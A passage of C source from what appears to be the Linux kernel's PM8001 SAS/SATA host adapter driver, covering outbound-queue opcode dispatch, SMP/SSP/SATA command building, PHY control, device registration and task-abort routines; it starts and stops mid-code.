switch (opc) {
case OPC_OUB_ECHO:
PM8001_MSG_DBG(pm8001_ha, pm8001_printk("OPC_OUB_ECHO\n"));
break;
case OPC_OUB_HW_EVENT:
PM8001_MSG_DBG(pm8001_ha,
pm8001_printk("OPC_OUB_HW_EVENT\n"));
mpi_hw_event(pm8001_ha, piomb);
break;
case OPC_OUB_SSP_COMP:
PM8001_MSG_DBG(pm8001_ha,
pm8001_printk("OPC_OUB_SSP_COMP\n"));
mpi_ssp_completion(pm8001_ha, piomb);
break;
case OPC_OUB_SMP_COMP:
PM8001_MSG_DBG(pm8001_ha,
pm8001_printk("OPC_OUB_SMP_COMP\n"));
mpi_smp_completion(pm8001_ha, piomb);
break;
case OPC_OUB_LOCAL_PHY_CNTRL:
PM8001_MSG_DBG(pm8001_ha,
pm8001_printk("OPC_OUB_LOCAL_PHY_CNTRL\n"));
pm8001_mpi_local_phy_ctl(pm8001_ha, piomb);
break;
case OPC_OUB_DEV_REGIST:
PM8001_MSG_DBG(pm8001_ha,
pm8001_printk("OPC_OUB_DEV_REGIST\n"));
pm8001_mpi_reg_resp(pm8001_ha, piomb);
break;
case OPC_OUB_DEREG_DEV:
PM8001_MSG_DBG(pm8001_ha,
pm8001_printk("unregister the device\n"));
pm8001_mpi_dereg_resp(pm8001_ha, piomb);
break;
case OPC_OUB_GET_DEV_HANDLE:
PM8001_MSG_DBG(pm8001_ha,
pm8001_printk("OPC_OUB_GET_DEV_HANDLE\n"));
break;
case OPC_OUB_SATA_COMP:
PM8001_MSG_DBG(pm8001_ha,
pm8001_printk("OPC_OUB_SATA_COMP\n"));
mpi_sata_completion(pm8001_ha, piomb);
break;
case OPC_OUB_SATA_EVENT:
PM8001_MSG_DBG(pm8001_ha,
pm8001_printk("OPC_OUB_SATA_EVENT\n"));
mpi_sata_event(pm8001_ha, piomb);
break;
case OPC_OUB_SSP_EVENT:
PM8001_MSG_DBG(pm8001_ha,
pm8001_printk("OPC_OUB_SSP_EVENT\n"));
mpi_ssp_event(pm8001_ha, piomb);
break;
case OPC_OUB_DEV_HANDLE_ARRIV:
PM8001_MSG_DBG(pm8001_ha,
pm8001_printk("OPC_OUB_DEV_HANDLE_ARRIV\n"));
/*This is for target*/
break;
case OPC_OUB_SSP_RECV_EVENT:
PM8001_MSG_DBG(pm8001_ha,
pm8001_printk("OPC_OUB_SSP_RECV_EVENT\n"));
/*This is for target*/
break;
case OPC_OUB_DEV_INFO:
PM8001_MSG_DBG(pm8001_ha,
pm8001_printk("OPC_OUB_DEV_INFO\n"));
break;
case OPC_OUB_FW_FLASH_UPDATE:
PM8001_MSG_DBG(pm8001_ha,
pm8001_printk("OPC_OUB_FW_FLASH_UPDATE\n"));
pm8001_mpi_fw_flash_update_resp(pm8001_ha, piomb);
break;
case OPC_OUB_GPIO_RESPONSE:
PM8001_MSG_DBG(pm8001_ha,
pm8001_printk("OPC_OUB_GPIO_RESPONSE\n"));
break;
case OPC_OUB_GPIO_EVENT:
PM8001_MSG_DBG(pm8001_ha,
pm8001_printk("OPC_OUB_GPIO_EVENT\n"));
break;
case OPC_OUB_GENERAL_EVENT:
PM8001_MSG_DBG(pm8001_ha,
pm8001_printk("OPC_OUB_GENERAL_EVENT\n"));
pm8001_mpi_general_event(pm8001_ha, piomb);
break;
case OPC_OUB_SSP_ABORT_RSP:
PM8001_MSG_DBG(pm8001_ha,
pm8001_printk("OPC_OUB_SSP_ABORT_RSP\n"));
pm8001_mpi_task_abort_resp(pm8001_ha, piomb);
break;
case OPC_OUB_SATA_ABORT_RSP:
PM8001_MSG_DBG(pm8001_ha,
pm8001_printk("OPC_OUB_SATA_ABORT_RSP\n"));
pm8001_mpi_task_abort_resp(pm8001_ha, piomb);
break;
case OPC_OUB_SAS_DIAG_MODE_START_END:
PM8001_MSG_DBG(pm8001_ha,
pm8001_printk("OPC_OUB_SAS_DIAG_MODE_START_END\n"));
break;
case OPC_OUB_SAS_DIAG_EXECUTE:
PM8001_MSG_DBG(pm8001_ha,
pm8001_printk("OPC_OUB_SAS_DIAG_EXECUTE\n"));
break;
case OPC_OUB_GET_TIME_STAMP:
PM8001_MSG_DBG(pm8001_ha,
pm8001_printk("OPC_OUB_GET_TIME_STAMP\n"));
break;
case OPC_OUB_SAS_HW_EVENT_ACK:
PM8001_MSG_DBG(pm8001_ha,
pm8001_printk("OPC_OUB_SAS_HW_EVENT_ACK\n"));
break;
case OPC_OUB_PORT_CONTROL:
PM8001_MSG_DBG(pm8001_ha,
pm8001_printk("OPC_OUB_PORT_CONTROL\n"));
break;
case OPC_OUB_SMP_ABORT_RSP:
PM8001_MSG_DBG(pm8001_ha,
pm8001_printk("OPC_OUB_SMP_ABORT_RSP\n"));
pm8001_mpi_task_abort_resp(pm8001_ha, piomb);
break;
case OPC_OUB_GET_NVMD_DATA:
PM8001_MSG_DBG(pm8001_ha,
pm8001_printk("OPC_OUB_GET_NVMD_DATA\n"));
pm8001_mpi_get_nvmd_resp(pm8001_ha, piomb);
break;
case OPC_OUB_SET_NVMD_DATA:
PM8001_MSG_DBG(pm8001_ha,
pm8001_printk("OPC_OUB_SET_NVMD_DATA\n"));
pm8001_mpi_set_nvmd_resp(pm8001_ha, piomb);
break;
case OPC_OUB_DEVICE_HANDLE_REMOVAL:
PM8001_MSG_DBG(pm8001_ha,
pm8001_printk("OPC_OUB_DEVICE_HANDLE_REMOVAL\n"));
break;
case OPC_OUB_SET_DEVICE_STATE:
PM8001_MSG_DBG(pm8001_ha,
pm8001_printk("OPC_OUB_SET_DEVICE_STATE\n"));
pm8001_mpi_set_dev_state_resp(pm8001_ha, piomb);
break;
case OPC_OUB_GET_DEVICE_STATE:
PM8001_MSG_DBG(pm8001_ha,
pm8001_printk("OPC_OUB_GET_DEVICE_STATE\n"));
break;
case OPC_OUB_SET_DEV_INFO:
PM8001_MSG_DBG(pm8001_ha,
pm8001_printk("OPC_OUB_SET_DEV_INFO\n"));
break;
case OPC_OUB_SAS_RE_INITIALIZE:
PM8001_MSG_DBG(pm8001_ha,
pm8001_printk("OPC_OUB_SAS_RE_INITIALIZE\n"));
break;
default:
PM8001_MSG_DBG(pm8001_ha,
pm8001_printk("Unknown outbound Queue IOMB OPC = %x\n",
opc));
break;
}
}
static int process_oq(struct pm8001_hba_info *pm8001_ha, u8 vec)
{
struct outbound_queue_table *circularQ;
void *pMsg1 = NULL;
u8 uninitialized_var(bc);
u32 ret = MPI_IO_STATUS_FAIL;
unsigned long flags;
spin_lock_irqsave(&pm8001_ha->lock, flags);
circularQ = &pm8001_ha->outbnd_q_tbl[vec];
do {
ret = pm8001_mpi_msg_consume(pm8001_ha, circularQ, &pMsg1, &bc);
if (MPI_IO_STATUS_SUCCESS == ret) {
/* process the outbound message */
process_one_iomb(pm8001_ha, (void *)(pMsg1 - 4));
/* free the message from the outbound circular buffer */
pm8001_mpi_msg_free_set(pm8001_ha, pMsg1,
circularQ, bc);
}
if (MPI_IO_STATUS_BUSY == ret) {
/* Update the producer index from SPC */
circularQ->producer_index =
cpu_to_le32(pm8001_read_32(circularQ->pi_virt));
if (le32_to_cpu(circularQ->producer_index) ==
circularQ->consumer_idx)
/* OQ is empty */
break;
}
} while (1);
spin_unlock_irqrestore(&pm8001_ha->lock, flags);
return ret;
}
/* PCI_DMA_... to our direction translation. */
static const u8 data_dir_flags[] = {
[PCI_DMA_BIDIRECTIONAL] = DATA_DIR_BYRECIPIENT,/* UNSPECIFIED */
[PCI_DMA_TODEVICE] = DATA_DIR_OUT,/* OUTBOUND */
[PCI_DMA_FROMDEVICE] = DATA_DIR_IN,/* INBOUND */
[PCI_DMA_NONE] = DATA_DIR_NONE,/* NO TRANSFER */
};
void
pm8001_chip_make_sg(struct scatterlist *scatter, int nr, void *prd)
{
int i;
struct scatterlist *sg;
struct pm8001_prd *buf_prd = prd;
for_each_sg(scatter, sg, nr, i) {
buf_prd->addr = cpu_to_le64(sg_dma_address(sg));
buf_prd->im_len.len = cpu_to_le32(sg_dma_len(sg));
buf_prd->im_len.e = 0;
buf_prd++;
}
}
static void build_smp_cmd(u32 deviceID, __le32 hTag, struct smp_req *psmp_cmd)
{
psmp_cmd->tag = hTag;
psmp_cmd->device_id = cpu_to_le32(deviceID);
psmp_cmd->len_ip_ir = cpu_to_le32(1|(1 << 1));
}
/**
* pm8001_chip_smp_req - send a SMP task to FW
* @pm8001_ha: our hba card information.
* @ccb: the ccb information this request used.
*/
static int pm8001_chip_smp_req(struct pm8001_hba_info *pm8001_ha,
struct pm8001_ccb_info *ccb)
{
int elem, rc;
struct sas_task *task = ccb->task;
struct domain_device *dev = task->dev;
struct pm8001_device *pm8001_dev = dev->lldd_dev;
struct scatterlist *sg_req, *sg_resp;
u32 req_len, resp_len;
struct smp_req smp_cmd;
u32 opc;
struct inbound_queue_table *circularQ;
memset(&smp_cmd, 0, sizeof(smp_cmd));
/*
* DMA-map SMP request, response buffers
*/
sg_req = &task->smp_task.smp_req;
elem = dma_map_sg(pm8001_ha->dev, sg_req, 1, PCI_DMA_TODEVICE);
if (!elem)
return -ENOMEM;
req_len = sg_dma_len(sg_req);
sg_resp = &task->smp_task.smp_resp;
elem = dma_map_sg(pm8001_ha->dev, sg_resp, 1, PCI_DMA_FROMDEVICE);
if (!elem) {
rc = -ENOMEM;
goto err_out;
}
resp_len = sg_dma_len(sg_resp);
/* must be in dwords */
if ((req_len & 0x3) || (resp_len & 0x3)) {
rc = -EINVAL;
goto err_out_2;
}
opc = OPC_INB_SMP_REQUEST;
circularQ = &pm8001_ha->inbnd_q_tbl[0];
smp_cmd.tag = cpu_to_le32(ccb->ccb_tag);
smp_cmd.long_smp_req.long_req_addr =
cpu_to_le64((u64)sg_dma_address(&task->smp_task.smp_req));
smp_cmd.long_smp_req.long_req_size =
cpu_to_le32((u32)sg_dma_len(&task->smp_task.smp_req)-4);
smp_cmd.long_smp_req.long_resp_addr =
cpu_to_le64((u64)sg_dma_address(&task->smp_task.smp_resp));
smp_cmd.long_smp_req.long_resp_size =
cpu_to_le32((u32)sg_dma_len(&task->smp_task.smp_resp)-4);
build_smp_cmd(pm8001_dev->device_id, smp_cmd.tag, &smp_cmd);
rc = pm8001_mpi_build_cmd(pm8001_ha, circularQ, opc,
(u32 *)&smp_cmd, 0);
if (rc)
goto err_out_2;
return 0;
err_out_2:
dma_unmap_sg(pm8001_ha->dev, &ccb->task->smp_task.smp_resp, 1,
PCI_DMA_FROMDEVICE);
err_out:
dma_unmap_sg(pm8001_ha->dev, &ccb->task->smp_task.smp_req, 1,
PCI_DMA_TODEVICE);
return rc;
}
/**
* pm8001_chip_ssp_io_req - send a SSP task to FW
* @pm8001_ha: our hba card information.
* @ccb: the ccb information this request used.
*/
static int pm8001_chip_ssp_io_req(struct pm8001_hba_info *pm8001_ha,
struct pm8001_ccb_info *ccb)
{
struct sas_task *task = ccb->task;
struct domain_device *dev = task->dev;
struct pm8001_device *pm8001_dev = dev->lldd_dev;
struct ssp_ini_io_start_req ssp_cmd;
u32 tag = ccb->ccb_tag;
int ret;
u64 phys_addr;
struct inbound_queue_table *circularQ;
u32 opc = OPC_INB_SSPINIIOSTART;
memset(&ssp_cmd, 0, sizeof(ssp_cmd));
memcpy(ssp_cmd.ssp_iu.lun, task->ssp_task.LUN, 8);
ssp_cmd.dir_m_tlr =
cpu_to_le32(data_dir_flags[task->data_dir] << 8 | 0x0);/*0 for
SAS 1.1 compatible TLR*/
ssp_cmd.data_len = cpu_to_le32(task->total_xfer_len);
ssp_cmd.device_id = cpu_to_le32(pm8001_dev->device_id);
ssp_cmd.tag = cpu_to_le32(tag);
if (task->ssp_task.enable_first_burst)
ssp_cmd.ssp_iu.efb_prio_attr |= 0x80;
ssp_cmd.ssp_iu.efb_prio_attr |= (task->ssp_task.task_prio << 3);
ssp_cmd.ssp_iu.efb_prio_attr |= (task->ssp_task.task_attr & 7);
memcpy(ssp_cmd.ssp_iu.cdb, task->ssp_task.cdb, 16);
circularQ = &pm8001_ha->inbnd_q_tbl[0];
/* fill in PRD (scatter/gather) table, if any */
if (task->num_scatter > 1) {
pm8001_chip_make_sg(task->scatter, ccb->n_elem, ccb->buf_prd);
phys_addr = ccb->ccb_dma_handle +
offsetof(struct pm8001_ccb_info, buf_prd[0]);
ssp_cmd.addr_low = cpu_to_le32(lower_32_bits(phys_addr));
ssp_cmd.addr_high = cpu_to_le32(upper_32_bits(phys_addr));
ssp_cmd.esgl = cpu_to_le32(1<<31);
} else if (task->num_scatter == 1) {
u64 dma_addr = sg_dma_address(task->scatter);
ssp_cmd.addr_low = cpu_to_le32(lower_32_bits(dma_addr));
ssp_cmd.addr_high = cpu_to_le32(upper_32_bits(dma_addr));
ssp_cmd.len = cpu_to_le32(task->total_xfer_len);
ssp_cmd.esgl = 0;
} else if (task->num_scatter == 0) {
ssp_cmd.addr_low = 0;
ssp_cmd.addr_high = 0;
ssp_cmd.len = cpu_to_le32(task->total_xfer_len);
ssp_cmd.esgl = 0;
}
ret = pm8001_mpi_build_cmd(pm8001_ha, circularQ, opc, &ssp_cmd, 0);
return ret;
}
static int pm8001_chip_sata_req(struct pm8001_hba_info *pm8001_ha,
struct pm8001_ccb_info *ccb)
{
struct sas_task *task = ccb->task;
struct domain_device *dev = task->dev;
struct pm8001_device *pm8001_ha_dev = dev->lldd_dev;
u32 tag = ccb->ccb_tag;
int ret;
struct sata_start_req sata_cmd;
u32 hdr_tag, ncg_tag = 0;
u64 phys_addr;
u32 ATAP = 0x0;
u32 dir;
struct inbound_queue_table *circularQ;
unsigned long flags;
u32 opc = OPC_INB_SATA_HOST_OPSTART;
memset(&sata_cmd, 0, sizeof(sata_cmd));
circularQ = &pm8001_ha->inbnd_q_tbl[0];
if (task->data_dir == PCI_DMA_NONE) {
ATAP = 0x04; /* no data*/
PM8001_IO_DBG(pm8001_ha, pm8001_printk("no data\n"));
} else if (likely(!task->ata_task.device_control_reg_update)) {
if (task->ata_task.dma_xfer) {
ATAP = 0x06; /* DMA */
PM8001_IO_DBG(pm8001_ha, pm8001_printk("DMA\n"));
} else {
ATAP = 0x05; /* PIO*/
PM8001_IO_DBG(pm8001_ha, pm8001_printk("PIO\n"));
}
if (task->ata_task.use_ncq &&
dev->sata_dev.class != ATA_DEV_ATAPI) {
ATAP = 0x07; /* FPDMA */
PM8001_IO_DBG(pm8001_ha, pm8001_printk("FPDMA\n"));
}
}
if (task->ata_task.use_ncq && pm8001_get_ncq_tag(task, &hdr_tag)) {
task->ata_task.fis.sector_count |= (u8) (hdr_tag << 3);
ncg_tag = hdr_tag;
}
dir = data_dir_flags[task->data_dir] << 8;
sata_cmd.tag = cpu_to_le32(tag);
sata_cmd.device_id = cpu_to_le32(pm8001_ha_dev->device_id);
sata_cmd.data_len = cpu_to_le32(task->total_xfer_len);
sata_cmd.ncqtag_atap_dir_m =
cpu_to_le32(((ncg_tag & 0xff)<<16)|((ATAP & 0x3f) << 10) | dir);
sata_cmd.sata_fis = task->ata_task.fis;
if (likely(!task->ata_task.device_control_reg_update))
sata_cmd.sata_fis.flags |= 0x80;/* C=1: update ATA cmd reg */
sata_cmd.sata_fis.flags &= 0xF0;/* PM_PORT field shall be 0 */
/* fill in PRD (scatter/gather) table, if any */
if (task->num_scatter > 1) {
pm8001_chip_make_sg(task->scatter, ccb->n_elem, ccb->buf_prd);
phys_addr = ccb->ccb_dma_handle +
offsetof(struct pm8001_ccb_info, buf_prd[0]);
sata_cmd.addr_low = lower_32_bits(phys_addr);
sata_cmd.addr_high = upper_32_bits(phys_addr);
sata_cmd.esgl = cpu_to_le32(1 << 31);
} else if (task->num_scatter == 1) {
u64 dma_addr = sg_dma_address(task->scatter);
sata_cmd.addr_low = lower_32_bits(dma_addr);
sata_cmd.addr_high = upper_32_bits(dma_addr);
sata_cmd.len = cpu_to_le32(task->total_xfer_len);
sata_cmd.esgl = 0;
} else if (task->num_scatter == 0) {
sata_cmd.addr_low = 0;
sata_cmd.addr_high = 0;
sata_cmd.len = cpu_to_le32(task->total_xfer_len);
sata_cmd.esgl = 0;
}
/* Check for read log for failed drive and return */
if (sata_cmd.sata_fis.command == 0x2f) {
if (((pm8001_ha_dev->id & NCQ_READ_LOG_FLAG) ||
(pm8001_ha_dev->id & NCQ_ABORT_ALL_FLAG) ||
(pm8001_ha_dev->id & NCQ_2ND_RLE_FLAG))) {
struct task_status_struct *ts;
pm8001_ha_dev->id &= 0xDFFFFFFF;
ts = &task->task_status;
spin_lock_irqsave(&task->task_state_lock, flags);
ts->resp = SAS_TASK_COMPLETE;
ts->stat = SAM_STAT_GOOD;
task->task_state_flags &= ~SAS_TASK_STATE_PENDING;
task->task_state_flags &= ~SAS_TASK_AT_INITIATOR;
task->task_state_flags |= SAS_TASK_STATE_DONE;
if (unlikely((task->task_state_flags &
SAS_TASK_STATE_ABORTED))) {
spin_unlock_irqrestore(&task->task_state_lock,
flags);
PM8001_FAIL_DBG(pm8001_ha,
pm8001_printk("task 0x%p resp 0x%x "
" stat 0x%x but aborted by upper layer "
"\n", task, ts->resp, ts->stat));
pm8001_ccb_task_free(pm8001_ha, task, ccb, tag);
} else {
spin_unlock_irqrestore(&task->task_state_lock,
flags);
pm8001_ccb_task_free_done(pm8001_ha, task,
ccb, tag);
return 0;
}
}
}
ret = pm8001_mpi_build_cmd(pm8001_ha, circularQ, opc, &sata_cmd, 0);
return ret;
}
/**
* pm8001_chip_phy_start_req - start phy via PHY_START COMMAND
* @pm8001_ha: our hba card information.
* @num: the inbound queue number
* @phy_id: the phy id which we wanted to start up.
*/
static int
pm8001_chip_phy_start_req(struct pm8001_hba_info *pm8001_ha, u8 phy_id)
{
struct phy_start_req payload;
struct inbound_queue_table *circularQ;
int ret;
u32 tag = 0x01;
u32 opcode = OPC_INB_PHYSTART;
circularQ = &pm8001_ha->inbnd_q_tbl[0];
memset(&payload, 0, sizeof(payload));
payload.tag = cpu_to_le32(tag);
/*
** [0:7] PHY Identifier
** [8:11] link rate 1.5G, 3G, 6G
** [12:13] link mode 01b SAS mode; 10b SATA mode; 11b both
** [14] 0b disable spin up hold; 1b enable spin up hold
*/
payload.ase_sh_lm_slr_phyid = cpu_to_le32(SPINHOLD_DISABLE |
LINKMODE_AUTO | LINKRATE_15 |
LINKRATE_30 | LINKRATE_60 | phy_id);
payload.sas_identify.dev_type = SAS_END_DEVICE;
payload.sas_identify.initiator_bits = SAS_PROTOCOL_ALL;
memcpy(payload.sas_identify.sas_addr,
pm8001_ha->sas_addr, SAS_ADDR_SIZE);
payload.sas_identify.phy_id = phy_id;
ret = pm8001_mpi_build_cmd(pm8001_ha, circularQ, opcode, &payload, 0);
return ret;
}
/**
* pm8001_chip_phy_stop_req - start phy via PHY_STOP COMMAND
* @pm8001_ha: our hba card information.
* @num: the inbound queue number
* @phy_id: the phy id which we wanted to start up.
*/
int pm8001_chip_phy_stop_req(struct pm8001_hba_info *pm8001_ha,
u8 phy_id)
{
struct phy_stop_req payload;
struct inbound_queue_table *circularQ;
int ret;
u32 tag = 0x01;
u32 opcode = OPC_INB_PHYSTOP;
circularQ = &pm8001_ha->inbnd_q_tbl[0];
memset(&payload, 0, sizeof(payload));
payload.tag = cpu_to_le32(tag);
payload.phy_id = cpu_to_le32(phy_id);
ret = pm8001_mpi_build_cmd(pm8001_ha, circularQ, opcode, &payload, 0);
return ret;
}
/**
* see comments on pm8001_mpi_reg_resp.
*/
static int pm8001_chip_reg_dev_req(struct pm8001_hba_info *pm8001_ha,
struct pm8001_device *pm8001_dev, u32 flag)
{
struct reg_dev_req payload;
u32 opc;
u32 stp_sspsmp_sata = 0x4;
struct inbound_queue_table *circularQ;
u32 linkrate, phy_id;
int rc, tag = 0xdeadbeef;
struct pm8001_ccb_info *ccb;
u8 retryFlag = 0x1;
u16 firstBurstSize = 0;
u16 ITNT = 2000;
struct domain_device *dev = pm8001_dev->sas_device;
struct domain_device *parent_dev = dev->parent;
circularQ = &pm8001_ha->inbnd_q_tbl[0];
memset(&payload, 0, sizeof(payload));
rc = pm8001_tag_alloc(pm8001_ha, &tag);
if (rc)
return rc;
ccb = &pm8001_ha->ccb_info[tag];
ccb->device = pm8001_dev;
ccb->ccb_tag = tag;
payload.tag = cpu_to_le32(tag);
if (flag == 1)
stp_sspsmp_sata = 0x02; /*direct attached sata */
else {
if (pm8001_dev->dev_type == SAS_SATA_DEV)
stp_sspsmp_sata = 0x00; /* stp*/
else if (pm8001_dev->dev_type == SAS_END_DEVICE ||
pm8001_dev->dev_type == SAS_EDGE_EXPANDER_DEVICE ||
pm8001_dev->dev_type == SAS_FANOUT_EXPANDER_DEVICE)
stp_sspsmp_sata = 0x01; /*ssp or smp*/
}
if (parent_dev && DEV_IS_EXPANDER(parent_dev->dev_type))
phy_id = parent_dev->ex_dev.ex_phy->phy_id;
else
phy_id = pm8001_dev->attached_phy;
opc = OPC_INB_REG_DEV;
linkrate = (pm8001_dev->sas_device->linkrate < dev->port->linkrate) ?
pm8001_dev->sas_device->linkrate : dev->port->linkrate;
payload.phyid_portid =
cpu_to_le32(((pm8001_dev->sas_device->port->id) & 0x0F) |
((phy_id & 0x0F) << 4));
payload.dtype_dlr_retry = cpu_to_le32((retryFlag & 0x01) |
((linkrate & 0x0F) * 0x1000000) |
((stp_sspsmp_sata & 0x03) * 0x10000000));
payload.firstburstsize_ITNexustimeout =
cpu_to_le32(ITNT | (firstBurstSize * 0x10000));
memcpy(payload.sas_addr, pm8001_dev->sas_device->sas_addr,
SAS_ADDR_SIZE);
rc = pm8001_mpi_build_cmd(pm8001_ha, circularQ, opc, &payload, 0);
return rc;
}
/**
* see comments on pm8001_mpi_reg_resp.
*/
int pm8001_chip_dereg_dev_req(struct pm8001_hba_info *pm8001_ha,
u32 device_id)
{
struct dereg_dev_req payload;
u32 opc = OPC_INB_DEREG_DEV_HANDLE;
int ret;
struct inbound_queue_table *circularQ;
circularQ = &pm8001_ha->inbnd_q_tbl[0];
memset(&payload, 0, sizeof(payload));
payload.tag = cpu_to_le32(1);
payload.device_id = cpu_to_le32(device_id);
PM8001_MSG_DBG(pm8001_ha,
pm8001_printk("unregister device device_id = %d\n", device_id));
ret = pm8001_mpi_build_cmd(pm8001_ha, circularQ, opc, &payload, 0);
return ret;
}
/**
* pm8001_chip_phy_ctl_req - support the local phy operation
* @pm8001_ha: our hba card information.
* @num: the inbound queue number
* @phy_id: the phy id which we wanted to operate
* @phy_op:
*/
static int pm8001_chip_phy_ctl_req(struct pm8001_hba_info *pm8001_ha,
u32 phyId, u32 phy_op)
{
struct local_phy_ctl_req payload;
struct inbound_queue_table *circularQ;
int ret;
u32 opc = OPC_INB_LOCAL_PHY_CONTROL;
memset(&payload, 0, sizeof(payload));
circularQ = &pm8001_ha->inbnd_q_tbl[0];
payload.tag = cpu_to_le32(1);
payload.phyop_phyid =
cpu_to_le32(((phy_op & 0xff) << 8) | (phyId & 0x0F));
ret = pm8001_mpi_build_cmd(pm8001_ha, circularQ, opc, &payload, 0);
return ret;
}
static u32 pm8001_chip_is_our_interupt(struct pm8001_hba_info *pm8001_ha)
{
u32 value;
#ifdef PM8001_USE_MSIX
return 1;
#endif
value = pm8001_cr32(pm8001_ha, 0, MSGU_ODR);
if (value)
return 1;
return 0;
}
/**
* pm8001_chip_isr - PM8001 isr handler.
* @pm8001_ha: our hba card information.
* @irq: irq number.
* @stat: stat.
*/
static irqreturn_t
pm8001_chip_isr(struct pm8001_hba_info *pm8001_ha, u8 vec)
{
pm8001_chip_interrupt_disable(pm8001_ha, vec);
process_oq(pm8001_ha, vec);
pm8001_chip_interrupt_enable(pm8001_ha, vec);
return IRQ_HANDLED;
}
static int send_task_abort(struct pm8001_hba_info *pm8001_ha, u32 opc,
u32 dev_id, u8 flag, u32 task_tag, u32 cmd_tag)
{
struct task_abort_req task_abort;
struct inbound_queue_table *circularQ;
int ret;
circularQ = &pm8001_ha->inbnd_q_tbl[0];
memset(&task_abort, 0, sizeof(task_abort));
if (ABORT_SINGLE == (flag & ABORT_MASK)) {
task_abort.abort_all = 0;
task_abort.device_id = cpu_to_le32(dev_id);
task_abort.tag_to_abort = cpu_to_le32(task_tag);
task_abort.tag = cpu_to_le32(cmd_tag);
} else if (ABORT_ALL == (flag & ABORT_MASK)) {
task_abort.abort_all = cpu_to_le32(1);
task_abort.device_id = cpu_to_le32(dev_id);
task_abort.tag = cpu_to_le32(cmd_tag);
}
ret = pm8001_mpi_build_cmd(pm8001_ha, circularQ, opc, &task_abort, 0);
return ret;
}
/**
* pm8001_chip_abort_task - SAS abort task when error or exception happened.
* @task: the task we wanted to aborted.
* @flag: the abort flag.
*/
int pm8001_chip_abort_task(struct pm8001_hba_info *pm8001_ha,
struct pm8001_device *pm8001_dev, u8 flag, u32 task_tag, u32 cmd_tag)
{
u32 opc, device_id;
int rc = TMF_RESP_FUNC_FAILED;
PM8001_EH_DBG(pm8001_ha,
pm8001_printk("cmd_tag = %x, abort task tag = 0x%x",
cmd_tag, task_tag));
if (pm8001_dev->dev_type == SAS_END_DEVICE)
opc = OPC_INB_SSP_ABORT;
else if (pm8001_dev->dev_type == SAS_SATA_DEV)
opc = OPC_INB_SATA_ABORT;
else
opc = OPC_INB_SMP_ABORT;/* SMP */
device_id = pm8001_dev->device_id;
rc = send_task_abort(pm8001_ha, opc, device_id, flag,
task_tag, cmd_tag);
if (rc != TMF_RESP_FUNC_COMPLETE)
PM8001_EH_DBG(pm8001_ha, pm8001_printk("rc= %d\n", rc));
return rc;
}
/**
* pm8001_chip_ssp_tm_req - built the task management command.
* @pm8001_ha: our hba card information.
* @ccb: the ccb information.
* @tmf: task management function.
*/
int pm8001_chip_ssp_tm_req(struct pm8001_hba_info *pm8001_ha,
struct pm8001_ccb_info *ccb, struct pm8001_tmf_task *tmf)
{
struct sas_task *task = ccb->task;
struct domain_device *dev = task->dev;
struct pm8001_device *pm8001_dev = dev->lldd_dev;
u32 opc = OPC_INB_SSPINITMSTART;
struct inbound_queue_table *circularQ;
struct ssp_ini_tm_start_req sspTMCmd;
int ret;
memset(&sspTMCmd, 0, sizeof(sspTMCmd));
sspTMCmd.device_id = cpu_to_le32(pm8001_dev->device_id);
sspTMCmd.relate_tag = cpu_to_le32(tmf->tag_of_task_to_be_managed);
sspTMCmd.tmf = cpu_to_le32(tmf->tmf);
memcpy(sspTMCmd.lun, task->ssp_task.LUN, 8);
sspTMCmd.tag = cpu_to_le32(ccb->ccb_tag);
if (pm8001_ha->chip_id != chip_8001)
sspTMCmd.ds_ads_m = 0x08;
circularQ = &pm8001_ha->inbnd_q_tbl[0];
ret = pm8001_mpi_build_cmd(pm8001_ha, circularQ, opc, &sspTMCmd, 0);
return ret;
}
int pm8001_chip_get_nvmd_req(struct pm8001_hba_info *pm8001_ha,
void *payload)
{
u32 opc = OPC_INB_GET_NVMD_DATA;
u32 nvmd_type;
int rc;
u32 tag;
struct pm8001_ccb_info *ccb;
struct inbound_queue_table *circularQ;
struct get_nvm_data_req nvmd_req;
struct fw_control_ex *fw_control_context;
struct pm8001_ioctl_payload *ioctl_payload = payload;
nvmd_type = ioctl_payload->minor_function;
fw_control_context = kzalloc(sizeof(struct fw_control_ex), GFP_KERNEL);
if (!fw_control_context)
return -ENOMEM;
fw_control_context->usrAddr = (u8 *)ioctl_payload->func_specific;
fw_control_context->len = ioctl_payload->length;
circularQ = &pm8001_ha->inbnd_q_tbl[0];
memset(&nvmd_req, 0, sizeof(nvmd_req));
rc = pm8001_tag_alloc(pm8001_ha, &tag);
if (rc) {
kfree(fw_control_context);
return rc;
}
ccb = &pm8001_ha->ccb_info[tag];
ccb->ccb_tag = tag;
ccb->fw_control_context = fw_control_context;
nvmd_req.tag = cpu_to_le32(tag);
switch (nvmd_type) {
case TWI_DEVICE: {
u32 twi_addr, twi_page_size;
twi_addr = 0xa8;
twi_page_size = 2;
nvmd_req.len_ir_vpdd = cpu_to_le32(IPMode | twi_addr << 16 |
twi_page_size << 8 | TWI_DEVICE);
nvmd_req.resp_len = cpu_to_le32(ioctl_payload->length);
nvmd_req.resp_addr_hi =
cpu_to_le32(pm8001_ha->memoryMap.region[NVMD].phys_addr_hi);
nvmd_req.resp_addr_lo =
cpu_to_le32(pm8001_ha->memoryMap.region[NVMD].phys_addr_lo);
break;
}
case C_SEEPROM: {
nvmd_req.len_ir_vpdd = cpu_to_le32(IPMode | C_SEEPROM);
nvmd_req.resp_len = cpu_to_le32(ioctl_payload->length);
nvmd_req.resp_addr_hi =
cpu_to_le32(pm8001_ha->memoryMap.region[NVMD].phys_addr_hi);
nvmd_req.resp_addr_lo =
cpu_to_le32(pm8001_ha->memoryMap.region[NVMD].phys_addr_lo);
break;
}
case VPD_FLASH: {
nvmd_req.len_ir_vpdd = cpu_to_le32(IPMode | VPD_FLASH);
nvmd_req.resp_len = cpu_to_le32(ioctl_payload->length);
nvmd_req.resp_addr_hi =
cpu_to_le32(pm8001_ha->memoryMap.region[NVMD].phys_addr_hi);
nvmd_req.resp_addr_lo =
cpu_to_le32(pm8001_ha->memoryMap.region[NVMD].phys_addr_lo);
break;
}
case EXPAN_ROM: {
nvmd_req.len_ir_vpdd = cpu_to_le32(IPMode | EXPAN_ROM);
nvmd_req.resp_len = cpu_to_le32(ioctl_payload->length);
nvmd_req.resp_addr_hi =
cpu_to_le32(pm8001_ha->memoryMap.region[NVMD].phys_addr_hi);
nvmd_req.resp_addr_lo =
cpu_to_le32(pm8001_ha->memoryMap.region[NVMD].phys_addr_lo);
break;
}
case IOP_RDUMP: {
nvmd_req.len_ir_vpdd = cpu_to_le32(IPMode | IOP_RDUMP);
nvmd_req.resp_len = cpu_to_le32(ioctl_payload->length);
nvmd_req.vpd_offset = cpu_to_le32(ioctl_payload->offset);
nvmd_req.resp_addr_hi =
